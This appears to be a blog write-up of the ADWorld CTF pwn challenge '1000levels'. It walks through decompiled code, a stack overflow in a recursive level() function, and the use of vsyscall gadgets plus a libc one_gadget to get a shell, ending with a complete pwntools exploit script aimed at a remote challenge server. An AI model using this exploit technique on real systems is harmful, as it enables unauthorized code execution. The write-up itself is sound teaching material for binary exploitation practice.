ADWorld PWN Challenge Area Write-ups (Advanced ROP)
TyeYeah Lv4

This part is for special ROP tasks.

1000levels

Attachment: 1000levevls.gz
Description: None

It is related to vsyscall which exists in some old version glibc.

Information

Unzip:

1
2
3
$ tar xvf 1000levevls.gz
100levels
libc.so

Check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ file 100levels
100levels: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8293d0a04bff99850d490343e65e25d81b6b1966, stripped
$ checksec 100levels
[*] '/root/100levels'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
$ ./libc.so
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu7) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax

initial();
banner();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = read_num();
if ( v3 != 2 )
break;
hint();
}
if ( v3 == 3 )
break;
if ( v3 == 1 )
{
go(a1, (__int64)a2);
}
else
{
a1 = (__int64)"Wrong input";
puts("Wrong input");
}
}
sub_D92();
return 0LL;
}

hint:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int hint()
{
signed __int64 v1; // [rsp+8h] [rbp-108h]
int v2; // [rsp+10h] [rbp-100h]
__int16 v3; // [rsp+14h] [rbp-FCh]

if ( unk_20208C )
{
sprintf((char *)&v1, "Hint: %p\n", &system, &system);
}
else
{
v1 = 'N NWP ON';
v2 = 'UF O';
v3 = 'N';
}
return puts((const char *)&v1);
}

go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __fastcall go(__int64 a1, __int64 a2)
{
int v3; // ST0C_4
__int64 v4; // [rsp+0h] [rbp-120h]
__int64 v5; // [rsp+0h] [rbp-120h]
int v6; // [rsp+8h] [rbp-118h]
__int64 v7; // [rsp+10h] [rbp-110h]
signed __int64 v8; // [rsp+10h] [rbp-110h]
signed __int64 v9; // [rsp+18h] [rbp-108h]
__int64 v10; // [rsp+20h] [rbp-100h]

puts("How many levels?");
v4 = read_num();
if ( v4 > 0 )
v7 = v4;
else
puts("Coward");
puts("Any more?");
v5 = read_num();
v8 = v7 + v5;
if ( v8 > 0 )
{
if ( v8 <= 99 )
{
v9 = v8;
}
else
{
puts("You are being a real man.");
v9 = 100LL;
}
puts("Let's go!'");
v6 = time(0LL);
if ( (unsigned int)level(v9) != 0 )
{
v3 = time(0LL);
sprintf((char *)&v10, "Great job! You finished %d levels in %d seconds\n", v9, (unsigned int)(v3 - v6), v5);
puts((const char *)&v10);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Coward Coward Coward Coward Coward");
}

and level in go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
_BOOL8 __fastcall level(signed int a1)
{
int v2; // eax
__int64 v3; // rax
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v5; // [rsp+18h] [rbp-28h]
__int64 v6; // [rsp+20h] [rbp-20h]
__int64 v7; // [rsp+28h] [rbp-18h]
unsigned int v8; // [rsp+34h] [rbp-Ch]
unsigned int v9; // [rsp+38h] [rbp-8h]
unsigned int v10; // [rsp+3Ch] [rbp-4h]

buf = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
if ( !a1 )
return 1LL;
if ( (unsigned int)level(a1 - 1) == 0 )
return 0LL;
v10 = rand() % a1;
v2 = rand();
v9 = v2 % a1;
v8 = v2 % a1 * v10;
puts("====================================================");
printf("Level %d\n", (unsigned int)a1);
printf("Question: %d * %d = ? Answer:", v10, v9);
read(0, &buf, 0x400uLL);
v3 = strtol((const char *)&buf, 0LL, 10);
return v3 == v8;
}

Analysis

From read(0, &buf, 0x400uLL); in level() we can see it will overflow __int64 buf; // [rsp+10h] [rbp-30h]. However with NX and PIE enabled, ROP chains are hard to deal.

There is a hint() which could leak system for us, but unk_20208C cannot be changed by us now, so is this func useless?

No, now let’s see the assembly code:

1
2
.text:0000000000000D11                 mov     rax, cs:system_ptr
.text:0000000000000D18 mov [rbp+var_110], rax

Though it won’t be printed, the address of system is saved in rbp+var_110 (rbp-0x110 which is on the stack), and between the running of hint() and go(), the value of rbp remains the same, so the “leaked” system can be also found in rbp-0x110 in func frame of go() (corresponding variable is __int64 v7; // [rsp+10h] [rbp-110h]).

To keep v7 unchanged, we have to first input a value less than or equal to 0, then we input v5 and the number of level will be determined by v8 = v7 + v5;.

We can surely use brute-force attack to identify the value of v7(system address). When v5 is smaller than -system_address, we will receive Coward Coward Coward Coward Coward, while when v5 is larger than -system_address we will enter the level(). You may notice that we always end up entering level(), so why not use stack overflow directly?

The level() is called recursively, so only in the last level() can we use the shortest payload to reach v7 in func frame of go().

1
2
3
4
__int64 v4; // [rsp+0h] [rbp-120h]
__int64 v5; // [rsp+0h] [rbp-120h]
int v6; // [rsp+8h] [rbp-118h]
__int64 v7; // [rsp+10h] [rbp-110h]

However still 0x10 needs to be overflowed. Now we think about how to exploit it, because we haven’t leaked any address but we need ROP gadget to fill the gap; besides the system address in v7 needs an argument /bin/sh to be effective.

First we deal with the ROP gadgets issue.
We use vsyscall(virtual system call) because it has fixed address even with ASLR on and PIE enabled. It is the first and oldest mechanism in the Linux kernel that is designed to accelerate execution of certain system calls. The principle of work of the vsyscall concept is: The Linux kernel maps into user space a page that contains some variables and the implementation of some system calls.
vsyscall.png
It is dumped from gdb and viewed inIDA. There are three syscalls: gettimeofday, time and getcpu (starts at 0xffffffffff600000, 0xffffffffff600400 and 0xffffffffff600800).
We can use these 3 functions as gadgets.

Next we have to think about how to use system in v7. Since we cannot get exact address of pop rdi; ret, it’s better to use one gadget because the offset between system and one gadget is fixed, so setting an appropriate v5 can change v7 to be address of one gadget.

1
2
3
4
5
6
7
8
9
10
11
12
$ one_gadget  libc.so
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xef6c4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf0567 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

We choose 0x4526a because gettimeofday, time and getcpu can keep [rsp+0x30] == NULL (0xef6c4 and 0xf0567 are hard to satisfy).
Then let us see exploit.

Exploit

We have to write answer() to answer questions automatically because only the last round of level() will be our best chance to send payload. It means we will wait for a long time every time we run this script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')
sh = process('100levels')
sh = remote('220.249.52.133','45100')
elf = ELF('100levels')
libc = ELF('libc.so')
vsyscall_gettimeofday = 0xffffffffff600000
vsyscall_time = 0xffffffffff600400
vsyscall_getcpu = 0xffffffffff600800

def answer():
sh.recvuntil('Question: ')
answer = eval(sh.recvuntil('=')[:-1])
sh.recvuntil('Answer:')
sh.sendline(str(answer))

sh.recv() # menu
sh.sendline('2') # hint
sh.recv() # menu
sh.sendline('1')
sh.recv() # How many levels?
sh.sendline('0') # '<=0' to not overwrite system_addr
sh.recv() # Coward\nAny more?\n
sh.sendline('-294') # 0x4526a from one_gadget
# sh.sendline('697140') # 0xef6c4
# sh.sendline('700887') # 0xf0567
sh.recv() # You are being a real man.

for i in range(99):
log.info(i)
answer()

payload = 'a'*0x38 + p64(vsyscall_gettimeofday) *3
sh.send(payload)

# sh.recv()
sh.interactive()

Powered by Hexo & Theme Keep
Total words 135.7k